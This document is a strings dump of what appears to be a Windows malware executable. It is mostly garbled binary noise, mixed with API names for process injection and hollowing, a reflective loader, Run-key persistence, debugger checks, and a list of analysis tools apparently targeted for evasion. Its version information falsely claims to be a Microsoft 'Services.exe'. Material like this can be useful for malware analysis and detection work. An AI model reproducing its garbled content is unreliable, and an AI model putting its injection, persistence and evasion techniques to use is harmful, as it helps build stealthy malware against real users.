!This program cannot be run in DOS mode.
4ARich'
`.rdata
@.data
.pdata
@.rsrc
D$pHc@<H
D$pHc@<H
D$pHc@<H
D$(H9D$
9D$Ps'
D$hHc@<H
D$hHc@<H
RtlCreateUserThread
@UVATAUAVH
l$pfB9D*
0A^A]A\^]
l$pMc}<3
y$HcF<
0A^A]A\^]
GetThreadId
kernel32
IsWow64Process
kernel32
ZeroX64
Made in Algeria <3
ReflectiveLoader
Software\Microsoft\Windows\CurrentVersion\Run
GqgWzd
LoadLibraryA
kernel32.dll
GetProcAddress
kernel32.dll
wcscpy
msvcrt.dll
wcscat
msvcrt.dll
wcscmp
msvcrt.dll
wcsncpy
msvcrt.dll
wcslen
msvcrt.dll
strlen
msvcrt.dll
realloc
msvcrt.dll
msvcrt.dll
wcsstr
msvcrt.dll
GetWindowsDirectoryW
kernel32.dll
GetVolumeInformationW
kernel32.dll
lstrcatW
kernel32.dll
SetFileAttributesW
kernel32.dll
CloseHandle
kernel32.dll
GetVersionExA
kernel32.dll
DeleteFileW
kernel32.dll
CreateDirectoryA
kernel32.dll
GetFileAttributesA
kernel32.dll
GetModuleFileNameA
kernel32.dll
CopyFileA
kernel32.dll
GetWindowsDirectoryA
kernel32.dll
CreateFileA
kernel32.dll
HeapAlloc
kernel32.dll
GetProcessHeap
kernel32.dll
ExpandEnvironmentStringsW
kernel32.dll
ResumeThread
kernel32.dll
SetThreadContext
kernel32.dll
RtlCompareMemory
kernel32.dll
VirtualAllocEx
kernel32.dll
GetModuleHandleA
kernel32.dll
GetThreadContext
kernel32.dll
GetModuleFileNameW
kernel32.dll
VirtualProtectEx
kernel32.dll
GetLastError
kernel32.dll
ReleaseMutex
kernel32.dll
CreateMutexA
kernel32.dll
HeapFree
kernel32.dll
WaitForSingleObject
kernel32.dll
CreateThread
kernel32.dll
CheckRemoteDebuggerPresent
kernel32.dll
GetCurrentProcess
kernel32.dll
IsDebuggerPresent
kernel32.dll
ExitProcess
kernel32.dll
DeleteFileA
kernel32.dll
Process32NextW
kernel32.dll
TerminateProcess
kernel32.dll
OpenProcess
kernel32.dll
Process32FirstW
kernel32.dll
CreateToolhelp32Snapshot
kernel32.dll
SetEndOfFile
kernel32.dll
lstrcmpA
kernel32.dll
WriteProcessMemory
kernel32.dll
ReadProcessMemory
kernel32.dll
GetFileSize
kernel32.dll
WriteFile
kernel32.dll
AdjustTokenPrivileges
Advapi32.dll
OpenProcessToken
Advapi32.dll
LookupPrivilegeValueW
Advapi32.dll
GetTokenInformation
Advapi32.dll
CreateFileW
kernel32.dll
SHGetFolderPathW
shell32.dll
SHGetFolderPathA
shell32.dll
lstrcatA
kernel32.dll
SetFileAttributesA
kernel32.dll
SHGetKnownFolderPath
shell32.dll
FreeLibrary
kernel32.dll
MoveFileW
kernel32.dll
GetFileSizeEx
kernel32.dll
GetWindowsDirectoryA
kernel32.dll
GetVolumeInformationA
kernel32.dll
GetTickCount
kernel32.dll
wsprintfW
user32.dll
wsprintfA
user32.dll
VirtualAlloc
kernel32.dll
ReadFile
kernel32.dll
kernel32.dll
VirtualFree
kernel32.dll
SetFilePointer
kernel32.dll
CreateDirectoryW
kernel32.dll
FindFirstFileW
kernel32.dll
FindNextFileW
kernel32.dll
FindClose
kernel32.dll
CopyFileW
kernel32.dll
WriteFile
kernel32.dll
GetSystemDirectoryW
kernel32.dll
ExitProcess
kernel32.dll
CreateRemoteThread
kernel32.dll
InternetOpenUrlW
wininet.dll
InternetReadFile
wininet.dll
HttpQueryInfoA
wininet.dll
InternetOpenW
wininet.dll
InternetConnectW
wininet.dll
HttpOpenRequestW
wininet.dll
HttpSendRequestA
wininet.dll
InternetCloseHandle
wininet.dll
PathIsURLW
shlwapi.dll
PathCombineW
shlwapi.dll
PathFindFileNameW
shlwapi.dll
StrStrA
shlwapi.dll
URLDownloadToFileW
urlmon.dll
CreateProcessW
kernel32.dll
ShellExecuteW
shell32.dll
GetModuleFileNameW
kernel32.dll
GetShortPathNameW
kernel32.dll
GetEnvironmentVariableW
kernel32.dll
RegOpenKeyExW
Advapi32.dll
RegSetValueExW
Advapi32.dll
GetUserNameA
Advapi32.dll
RegDeleteKeyW
Advapi32.dll
RegOpenKeyExA
Advapi32.dll
RegSetValueExA
Advapi32.dll
RegCloseKey
Advapi32.dll
MessageBoxA
user32.dll
.reloc
NtUnmapViewOfSection
rbNSpGEsyb
chFrWWdQWsLFevUr
worker_RdDwvE
worker_BAccdq
worker_kBEqZh
worker_FDhvwc
GetProcAddress
GetModuleHandleA
CloseHandle
WriteProcessMemory
VirtualAllocEx
OpenProcess
GetSystemInfo
LoadLibraryA
GetVersionExW
WaitForMultipleObjects
KERNEL32.dll
fffffffffff
iffffffff
ifffffffff
ifffff
ifffffffffffffff
!sBhUUU
ifffffffffffffff
!sB8UUU
ifffffffffffffff
!kiff#
!kiffffff
ffffffC
fffffffffffCAUUUfffffffffff
ifffff
!hiffffffffffff
>jifffffffff
ifffffffffffffff
!SBVTUU\i
!SBvTUU\i
iffffffffffff
Ayffffff
ifffffffffffffff
ifffffffffffffff
BWVUU/j
ifffffffffffff
ifffff
ifffffffffffff
ifffff
!eB"TUUA
fffffff
iffffff
!kifffffffffffff
TUUffffff
ffffffffffffffff
ffffffffffffffffC
fffffffffff
xC<EUUffffff
!|B3WUU.j
!eBXTUUff
!sB)WUU
!aB'WUU
iffffffffff
iffffC
fffffffffff
ffffffff
iffffffffffff
iffffffffffffff
iffffffff
!aB8PUU
VUUfffff
VUUffffffffffffff
!dBG[UU
!dB XUU.j
iffffffff*
]YifffffC
fffffffffff
)bUifffffffffffCAUUUfffffffffff
ifffffffffff
zBS@UU
iffffffff
iffffffff
iffffffff
ifffffffff
ifffffffffffff
iffffffff!
ifffffffffffff
ifffffffffffff
ifffffffffffff
C>UUUffff
ifffffffffffff
fffffffffff
fffffffffffffff
ifffffffffffffff
ifffffff
!RBsMUU
!zBRNUU
!eB1YUU
iffffffffff
!zB!NUU
iffffffffffffffC
fffffffffff
ifffffffffffff
>jiffffff
!pBH[UU
ifffffffff
iffffffffffffCAUUUfffffffffff
ifffffffff
ifffff
ifffff
!XBDTUU
!}B[VUU
ifffffff
DUUfffff
iBnGUU
!zBxTUU
ifffffff
hiffffffffffffC
fffffffffff
^UUffffff
!aBACUU.j
!aB3CUU
AUUfffffffff
ifffffffffffffff
ifffffffffffffff
hifffffffffffff
ifffffff
iB CUUffffffffff
iffffff
!sBaMUU
ifffffffffff
ifffffffffffC
fffffffffff
ifffffCAUUUfffffffffff
UUUffffff
!aB3PUU
iffffff
!RB|RUU
!ZBlRUU
!zBRCUU
ifffffffffffff
!cB$WUU
!dBwIUU
!gB-NUU
!yBX@UU
!dBFIUU
!dB7IUU
JB&IUU
eBMCUU
!dBAKUU
!dB.IUUf
!dB1IUUfffffffffff
!eB?HUU
gB5BUU
!~BBJUU.j
!eB$KUU
!eB[KUUf
hifffffffffffff!h
+kRTUU
!hYifffff
ifffffffffff
!aUz/j
ffffffff
ffffffff
iffffffffffff
Uifffffffffff
\!T!D'
ifffffffff
ifffffffffffffff
!yBYWUU
!eBkTUU
ffffffffffffff
WB!VUU
!gB,WUU
ifffffffffffffff
ifffffffffffff
!yBYSUU
!gB>SUU
!gBj]UU
*cj*a*"
*c**a*"
fffffff
!dBuVUU/j
!dB{PUU/j
!dB9\UU/j
!dB(^UU
!dBZ\UU/j
ffffff
k)j])R
fffffffffff
ifffffffffffffff
B^WUU/j
ifffff
iffffffffff
ffffffffff
ifffffffffffff
Yifffffffffff
iffffff
UUfffffffffff
,jTUUC
ffffff
ifffffff
!iALffff
iffffff
Yiffffffffffff
iffffffh
fffffffffffff
ifffffffff
ifffffffffffff
Ub)bVUj
!P)JW)R
ffffffffffffff
iffffffff
?j)`UB
iffffffffffff
!aBXTUU!rB
iffffffffffffff
Z)bUYiffffff
ifffffff\
jYifff
!SBNWUU
ifffffff
qBLVUU
TUU)RU
BWGUUA
BDGUUA
ifffffffff
C`WUUffffffffff
xCcRUUfffffffff
RUUffffff
ifffffffffff
]UU!r/j
B"PUUA
ifffffffffff
*HT*Ph
ifffffffffffff
ifffff
B0vUU/j
fffffffffffffff
ifffffffffffff
iffffffffffff
UUUUUUU
ffffffffff
UUUUUUU
ffffffffffffff
ffffffffff
!lAJffff
!lAJffff
!lAJffff
BFWUUA
BmTUUA
ifffffffffffffff
ifffffff
fffffffffffffff
ifffffff
iffffffff
fffffffffffffff
ifffffff
fffffffffffffff
ifffffffffffffff
ifffffff
ifffffffffffff
jifffffffffffff
ifffffffff
iffffff
!dB-UUU
ifffffff
UUUfff
[Yifffffffffffffff
!kifffffffffffff
ifffffffffffffff
ifffff
!aBMRUU
iffffffff
iffffffffffff
Yiffffffffffff
!eB0RUU
iffffffffff
!kiffffffffffffC-
fffffffffffCQ
fffffffffff
iffffffffff
!zB3)UU
B/AUU.j
Amffffff
AMfffffffffffffff
ifffffffff
WUUffffffffff
fffffffffffffff
!eBRSUU
ifffffffff
fffffffffffffff
ifffffffffffff
iffffffffff
!kifffffffff
!kiffffffffffffff
x!g!_#
iffffffffff
!|BzRUU
B PUU.j
ifffffffffff
iffffffff
iffffffff
iffffffff
fffffffffffffff
fffffffffffffff
fffffffffffffff
iffffffffffffff
iffffffffffffff
iffffffffffffff
fffffffffffffff
fffffffffffffff
fffffffffffffff
fffffffffffffff
iffffffff
iffffffffff
ifffff
ifffffffffff
ifffffffffffC
OUUfffffffffff
ifffff
!CBbYUU
iffffffffffffff
iffffffffffffff
iffffffffffffff
rB*KUU
iffffff
iffffff
![BXZUU
![B(ZUU
rB}uUU
rB]tUU
UUffffffffff
ifffffffff
!pB"MUU
ifffffffff
!pBBLUU
fffffffffff
!pBrOUU
fffffffffff
iffffffff
!pBBNUU
MB4AUU
MB)AUU
ifffffffffff
MB"@UU
ifffffffffff
!RB2HUU
pUUfffffffffff
ifffff
!ZBtKUU
!rByKUU
ifffff
!rBBJUU
ifffffffffffffC
fffffffffff
!H!E!]
!ZBjDUU
!rB DUU!>
iffffff
ifffff
!bBtCUU
iffffffff
!sBQwUU
ifffffffff
iffffffffffff
ifffffffffffffff
ffffffffffffff
ffffffffffffff
ifffffffffff
ifffff
!kifff
ifffffffffff
iffffffffff
ifffff
iffffffffffffff
ifffffffffff
!kifffff
!sBhUUU
ifffffffff
!pBBaUU
iffffffff
ifffff
ifffffffff
!kifffffffffffffff
!kifff
iffffffffffff
ifffff
ifffff
iffffff
!sB(VUU
ifffffffff
!sB(SUUl
ifffff
ifffffff
!aBr{UU
ifffffff
!eBZVUU
iffffffffffff
ifffffffff
!sBxQUU
ifffffffff
!aBlQUU
ifffffffffffff
ifffffffffffffff
!kifffffffffff
ifffffff
iffffffffff
iffffffffff
!sB!UUU
ifffffffffffffff
iffffffff
ifffffffffff
ifffffffffffffff
ifffffffffffffff
iffffffff
ifffffffffffffff
iffffff
fffffff
fffffff
ffffffff
ffffffffffff
fffffff
fffffff
UUUfffffff
C{TUUfCa
fffffffffffC
fffffffffff
fffffff
fffffffffff
fffffffC
UUUfffffffffffC
fffffffffffC
fffffffffffCQ
fffffffffffC
fffffffffff
CYTUUfff
ifffff
fffffffffffffff
fffffC
fffffffffff
ifffff
C$UUUffffffffffffff
fffffffffff
ifffffffffff
iC1UUUfffffffffff
fffffffffffffff
ifffffffffffff
ifffffffffff
!SBagUU
iffffff
!dB0yUUA
iffffff
!dB-xUUA
jiffffffff
ifffffffffffff
ifffffffffffff
ffffffffffffff
:iffffffff
!hifffff
ziffff
ifffffffffffff
!aBFFUU
!kifffffffff
!sBHUUU
ifffffffff
ifffffffff
!sBxUUU
ifffffffff
!kiffffffff
!kiffffffff
!hiffffff
ifffffffff
!sBxUUU
ifffffffff
ifffffffffCqUUUfffffffffff
`!kifffffffffff
iffffffffffffff
>jifffffffff
iffffffffffffff]{!kifffffffffff
`!kifffffffffff
!kifffffffff
!sBHUUU
ifffffffff
mjVUUU
!kifffffffffffff
!sB(UUU
ifffffffff
ifffff
!sBhUUU
ifffffffff
ifffffffff
ifffffffff
!kiffffffffff
!kiffffffffff
ifffffffffff
ifffffffffff
!SBV[UU\i
!SBVXUU\i
!SBVXUU\i
!SBvXUU\i
!SBVXUU\i
!SBvXUU\i
!SBFXUU\i
fffffffff
jiffffffffffffff
ifffffff
ifffffffffffffff/x
!b!iUi
Yiffff!
fffffffff
ifffffff
ifffffffff
ifffffffffffff+P
jiffff
!bB"IUU
ffffff
fffffffffffffff
By[UU/j
!bB7rUU
UUUffff
fffffffff
ifffff
ffffff
ffffff
BA{UU!
iffffffffff
!bBpwUUA
ifffffffffff
!bBvtUU
ffffffffffffff
ffffff
B@PUUC
ffffffffff
ifffff!x
C/LUUfffff
iffffffffffff
!jBDOUU
\UU])*
ffffffff!
jiffffffff
!yBmUUU.j
!bB5rUU
ifffffffffffff
ffffff
ifffffffff
!lBDHUU
!|B%HUU
!RB*HUU
!yB[KUU
!RBHKUU
!rBZkUU
!RBtkUU
UUUfff
fffffffffff
ffffffff
!bB=gUU
UUffff
ffffffffffff
ifffff
Ub)bJUj
iffffffffffffff
B9VUU.j
ffffffffffff
!aB]WUU/j
}BMEUUA
!aB*WUU/j
CWuUUfffffffffffff
iffffffffffff
ifffffffffffffffZ)
Yiffffffffffffff
xB'UUU
!ZBPEUU.j
B0^UU)
ifffffffffffff
fffffffffffffff
!RBnTUU
!bBRxUU
iffffffff
zB#BUUA
fffff*P
jifff*P
jiffffffffffffff
!aBYgUU
!aB>gUU
Aofffffffff
fffffffffffffff
!}B\aUU
!eBvaUU
iffffffffffff
!dB]cUU
!bB3hUU
>jifffffff
iffffffffffff
fffffffff
fffffffff
!zB<UUUffffff
!c!`!h)K
ifffffffffff
)IWB9nUU\i
iffffffffffff
iffffff
iffffffffffff
iffffff
ifffffffffffffff
ifffffffffff
!sB [UU/j
PUUfff
iffffffffffff
ifffffffffff
!bBmQUU
ifffffffffffff
ifffffff
!dB^?UU:
!yB]>UU
iffffff
iffffffffffff
ffffffffffff
jifffffffff
A`ffffffffff
!hifffffffffff
!aBl0UU
ifffffffffffff
!zB^jUU
!zB3iUU
iffffff
ifffff!
Ujiffffffffff
nUUffffffffffffff
yJiffff
BokUU!e!zBFjUU)R
!eB}jUU/j
B7jUU/j
!aBIVUU
RBxVUU
ZBlYUU
/PWUU!>
!aB"NUU.j
!aBgLUU!
CRVUU!>
!_CNVUU
C&VUU*
ffffffff
UUffffffffffffff
ifffffffffff
ifffffff
QBtKUU)R
ifffffffffff
UUU])*
!aBuTUU)
!aBKvUU.j
!aBdCUUf
!aBjCUUf
!eBG-UU:
ifffff!x
UUffff
UUfffffffffffffff
ifffffffffff!
iffffffffffff
BwNUUC
!gB/WUU
RBpMUU
RBeMUU
ffffffff
ifffffffffffff
iffffff
!iBWATU
ifffff
!iBE@TU
ifffffff
BJlUU.j
lUU.jA
ffffffffffff
ffffffff
!aBP(UU
ifffffffffff
ifffffff
hiffffffffffff
!aB5[UU
xBPzUUU
vUUffffffffffff
ffffffffffffffff
ffffffffffffffffC
fffffffffffC
fffffffffffC
fffffffffff
UUffffff
UUffffff
UUffffff
!sBQHTU
ifffffffffffffff
C}UUUfffffff
iffffffff
hifffffffffffff
iffffffffC
)UUfffffffffffC
.UUfffffffffff
iffffffffffffff
ifffffffffffffff
iffffffffffff
UU!b/j
ifffffffff
hiffffffffffff
ifffffff
ifffffff
!PBp9UU
!bB4GTU
rBI^TU
ifffffffffffffff
>jifffff
iffffffffffff
ifffffffffff
ifffffffffffffff
ifffffffffffffff
iffffffffffff
!aB4HUU
!aB&HUU
!sBfSUU
!zB%@TU.j
!aB/PUUA
!sBFRUU
!zB;CTU.j
!aBtJUU
!aBfJUU
!aB8JUU
!rBF4UU.j
zB9VUU
!eB%]UU
iffffffff
ifffffffffff
TBerTU
!dB%@TU
!dB.}TU
?jifffffffffffffff
}B&UUU.j
ifffffffffff
ifffffffffffffC
fffffffffffC
fffffffffffC
fffffffffff
UUUUUUU
ifffff
UUUUUUU
ifffff
ifffffCaUUUfffffffffffCaUUUfffffffffffCaUUUfffffffffff
C,vTUffffff
UUUffffff
UUUffffff
UUUffffff
UUUUUUU
iffffff
*ifffffffffffff
!SB<GTU
ifffffff
ffffffff
@TUfffffffffff
iffffffffff
!eB$ZUU
!eBSIUU:
iffffffffffff
ifffffffffff
fffffff
iffffffff
hifffffffffffff
ifffffffffff
fffffffff
fffffffff
iffffffff
xBetTU
ifffff
pBhaUU
UUUff'
i)bUiff
ifffffffff
ifffffffffff
TUUBxSUUff
ifffff
UUUfffffffffffff
UUUfffffffffffff
!C!YB=UUU
iffffffffffffff
!g!r#.
iffffffffffff
{!`!pBd8UU
jCiTUUf
ffffffffff/x
kiffffffffffffff
ifffffffff
UUUUoC
UlUoCcTUU!hC@TUU
jCITUU
iffffffffffffff
|BfWUU!b/j
iffffffff
!SB&)UU
iffffffff
!SB6(UU
BgaTU.j
iffffffff
B$+UU.j
B|`TU.j
B?`TU.j
iffffff
B**UU.j
iffffff
!bBYbTU
iffffff
![BA+UU/j
B!+UU/j
iffffffffffffff
iffffffffffffff
!rBeoTU
iffffff
!fBKbUU/j
AKfffffffffffff
!aB'iTU.j
!dB78UU
!dBtoUU
!dB)kUU
!RB#qUU
!~B8VUU
!nB}WUU.j
ifffffffffff
ifffffffffff
iffffff
iffffffCq
fffffffffffCQ
fffffffffff
!aBu]UU
ifffffffffffffff
!aB7zUU
!RBWaUU
ifffffffffffff
!rBXeUU
ifffffffff
iffffffffffff
iffffffff
!kifffff
!sB(UUU
!sBXTUU
ifffffffff
ifffff
!kifffffffff
!rB=TUU
MBr6TU
!rBiWUU
!rBKVUU
!rB5VUU
!RB: TU
!rBCPUU
!rB3PUU
!rBoSUU
BK2TUC
PUUffffffffffff
ifffffffffffffff
!dBA_UU
iffffff
!eBb<TU
!gBj<TU
!ZB}^TU
<TUfffff
UUUfffffffffffff
BM3UUC
rBp6UU
rBe6UU
iffffffffff
Aofffffff
nBEWUU
UUUfffff
fffffffffff
UU!a!zB
rB%WUU
RBB9UU
RBw9UU
!gB{^UU.j
UUC]TUU
!]CWTUU!
pC$TUU*
.iWUU!'
!]C%VUU
!gBKEUU.j
!]CXQUU
ffff!x
Bk5TU*
!yBHrUU
Bc"UUC1
rB3!UU
ffffffffffffC
tUUfffffffffffC
tUUfffffffffff
iffffffffffff
iffffffffffff
BVqUU:
iffffffffffff
fffffffffff
fffffffffffffff
ifffffffffffffff
ifffffffff
ifffffffC1
fffffffffff
fffffffff
B_DTU/j
!dBqDTU/j
ffffffffffff
mkUUUU
ifffffffffffffff
!aBY\UU
ifffff
iffffff
iffffffffffff
ifffffC1
fffffffffff
iffffff
!SB3VUU
!A!iC'
$qTUU)
!dBORUU/j
)bUC.WUUfffffffffffff
fffffffff
jiffffffffffffff
!eBo)TU*
!eB )TU*
!eB8)TU
UiBf'TU
iffffffffffff
ifffffffff
!g!rBXCUU
ifffffffff
iffffffffffff
jifffffffffffffff
!zBxTUU
ifffffff
hiffffffffffffC
fffffffffff
IUUffffff
hifffffffffffff
iffffffffffffff
>jiffffffC
fffffffffff
ifffffCAUUUfffffffffff
UUUffffff
!mBiHUUA
!aB`VUU
!bBdIUU
iffffff
hifffffffffffff
tTUB/FUU
cB/IUU
BSHUUA
cB3|TUB
iffffffffff
iffffffffffff
Awfffffffffff
!dB`5UU
Yiffffffffff
ifffCa
ifffffffffff
CgVUU:
!jifff
UUU!rA
\UUfffC)_UUfff
!@BLWUU
fffffffffff
!eB+GUU
ifffffffffffff
j)rUi:
j)rUif
xBXEUU
z)bUyJ
iffffffffffffffff
UTTTTTT
!kifff
!eB7NUU
BQ@UUCwTUU)P
!yUz!z#
!dBVWUU!z#
vUU!R#
!dB WUU
!dUz/q
!dB#WUU]r
!dUz!R#
!SB6UUU
OUU)bU
!eBFNUU
!aUz/j
UUU!aU
!eBJHUU
!sBuRUU!aB
!R!X!s)SU
fByHUU
C,|UUff
!`B<VUU
!aBVVUU
WUUUBk
BPbUU#
UhAH!}#
!pBmSUU
TUU)bUC^
JB0cUU+U
xC$TUUff
BJcUU:!eB
!aB.cUU
!aB<TUU
!aBLTUUU
!SBAWUU
FUUfff
FUUfff
UUU)bU
B!@UUf
@UUffff
!sBfRUU
.!WUUC%
BXOUUf
BwOUUf
B`OUUff
OUUffff
BUU)!b
!eB PUU:
!eBpMUU
LUU\)b
!lC|TUU
B[KUUf
/UTUU/\
!eB;VUU
B-uUUfff
!SBDDUU
By UU!
vUUfff
!sB<lUU
C7lUUf
!dB] UU
BCQUU!
!eBHSUU
!dBa[UUB
!RB}vUUU*
UUUB|qUU)
BbqUUU"
!mB(WUUC
ifffffffffffffffffffff
********
UTTTTTTT
c*KJ*k
c*KJ*k
UUUUUU
c*KJ*k
)HJ)@s
aBU:UU)
UUffff
UU!oC"
BdfUU#
UU!iCk
BIVUUA
fBP1UU
B{lUU)R
B#4UU/j
B lUU)R
jA`fffffffffffffffffffff
UTTTTTT
AmUiA*
mmTUUU)U
\UUU/U
UUUUUUU
>j!Z{CA
UUffff
UUUUUU
!dB))UU
Ubifff
6UUf/U
ZUUUUUU
gBg)UU
jYifffffffffff
!eB(UUU
!aBG;UU/j
iffffffffffffffffffff
iffffff
ffffff
:iffffff
!eB1?UU
!eC^VUU
!eB9%UU
UUArm)
rB#*UU
ZUUUUUU
B,JUUCH
ZUUUUUU
ZUUUUUU
ZUUUUUU
B'PUU/j
!o!|BNQUU/j
!eBM`UU
!|BG`UU/j
!dBccUU/j
!eB!cUU
!dB?cUU/j
!SBg+UU
UUffff
!}BQRUU/j
!mBDTUU
WUU!r/j
!dBVnUU/j
]UUCsTUU+
.8TUUA
ifffffffffffff
zUUUzB
UU!iC%
!ZB]TUU
UUffff
ifff!{
UUUffffffff
UU)bUA
UUU!bB
!m!bB4
P!aBdVUUUiC
!e!zyB
!a!zyB
!e!zyB
!e!zyB
!a!zyB
!e!zyB
!A!Y!a
CETUU'
!cC7TUU'
CZTUU'
C/TUU'
FC;TUU
i!Q!aCu
/TVUU!
]ffffm
Qffffm
BH:UU/j
{B!ekJ
{@!ekJ
!b!l{@
BE7UU:'
B4#UU/j
)aU!eB
)aU!eB
UU)bUC
CEWUU
(UTUUA
SUU!aBu
BveUU/j
`UU!bB
UU)aUm
W!iCDTUUfff
(XTUU'
(tTUU'
(4TUU'
()TUU)bUifff
CE-UUfff
)aU!eB
QUU!iA
!rBESUU
!eBISUU
BpUTU+
!eBa_TU
B8TTUff
TTUfff
TTUfff
BtWTUff
!zB[XTUm
UU!akS
BZ5UU/j
UU!akS
!bB{DTU
!aBEFTU
WUUfff
BWVUUA
xBj\UU
UUffff
ZUUUUUU
ZUUUUUU
gB[]TU
!dC\TUU
!{B"BTU
Bc9UU/j
!eB*WUU
iffffffffffffff
NTU:fffffffff
NTU:fffffffff
cB[ITU:ffffffffffff
cBoITU:
ITU:ffffffffffff
ITU:ffffffffffff
ITU:fffffffff
cBDHTU:fffffffff
cBdHTU:fffffffff
HTU:fffffffff
cB$HTU:fffffffff
HTU:fffffffff
HTU:fffffffff
cBOKTU:
cBoKTU:
cB1KTU:ffffff
KTU:ffffffffffff
cB]JTU:ff
cBkJTU:ffffffffffff
cB+JTU:ffffffffffff
JTU:fffffffff
cBTuTU:fffffffff
cB uTU:
cB4uTU:fffffffff
iffffff
B4KTU/j
CvyUUf
CoyUUf
C;0UUf
xCXnWUff
xCHnWUff
xCxnWUff
xChnWUff
{TUfffffffff
C}zTUfff
zTUfff
zTUfff
zTUfff
zTUfff
CMeTUfff
eTUfff
C-eTUfff
eTUfff
eTUfff
CjdTUffffffffffff
WUffff
WUffff
WUffff
WUffff
ZWUffff
ZWUffff
ZWUffff
ZWUffff
ZWUffff
ZWUffff
C^EWUffff
CNEWUffff
C~EWUffff
)kJ+hUU
ifffffffffkc
!kiffffffffff
Eiffffffffff
!kiffffffffff
Giffffffffffff
*+()./,-"# !&'$%:;89>?<=23016745
jkhinolmbc`afgdez{xy~
|}rspqvwtuJKHINOLMBC@AFGDEZ[XY^_\]RSPQVWTU
*+()./,-"# !&'$%:;89>?<=23016745
jkhinolmbc`afgdez{xy~
|}rspqvwtuJKHINOLMBC@AFGDEZ[XY^_\]RSPQVWTU*+()./,-"# !&'$%:;89>?<=23016745
jkhinolmbc`afgdez{xy~
|}rspqvwtuJKHINOLMBC@AFGDEZ[XY^_\]RSPQVWTU
*+()./,-"# !&'$%:;89>?<=23016745
jkhinolmbc`afgdez{xy~
|}rspqvwtuJKHINOLMBC@AFGDEZ[XY^_\]RSPQVWTU
UUUUUU
UUUUUU
**,*+*
UUUUjt
UUUUGK
UUUUJK
UUUUyU
UUUUjH
UUUU:K
UUUU*H
UUUUzJ
UUUUZJ
UUUU:J
UUUU|2
UUUU:u
UUUUzu
UUUU*I
UUUUJI
UUUUY9
UUUUjI
UUUUCB
jjjjjjjj
jj}pJjNj@@JJ2bD[
@4jjhjL
+yrtJS
UUUUUUUU*
lJ&C*c
w$tS7QA
gfgfffffffQ
TUUUUUUU
RUUUUUUUE
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
%SystemRoot%\system32\svchost.exe
%SystemRoot%\system32\msiexec.exe
%SystemRoot%\system32\audiodg.exe
ProcessHacker.exe
procexp.exe
procexp64.exe
TOTALCMD.exe
x64dbg.exe
idaq64.exe
idaq.exe
autoruns.exe
procmon.exe
Services
svchost.exe
msiexec.exe
audiodg.exe
%08lX%04lX%lu
Services
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Hidden
Unknown
explorer.exe
VS_VERSION_INFO
StringFileInfo
040904b0
CompanyName
Microsoft Corporation
FileDescription
System
FileVersion
2.0.0.1
InternalName
Services.exe
LegalCopyright
Copyright (C) 2025
OriginalFilename
Services.exe
ProductName
Services
ProductVersion
2.0.0.1
VarFileInfo
Translation
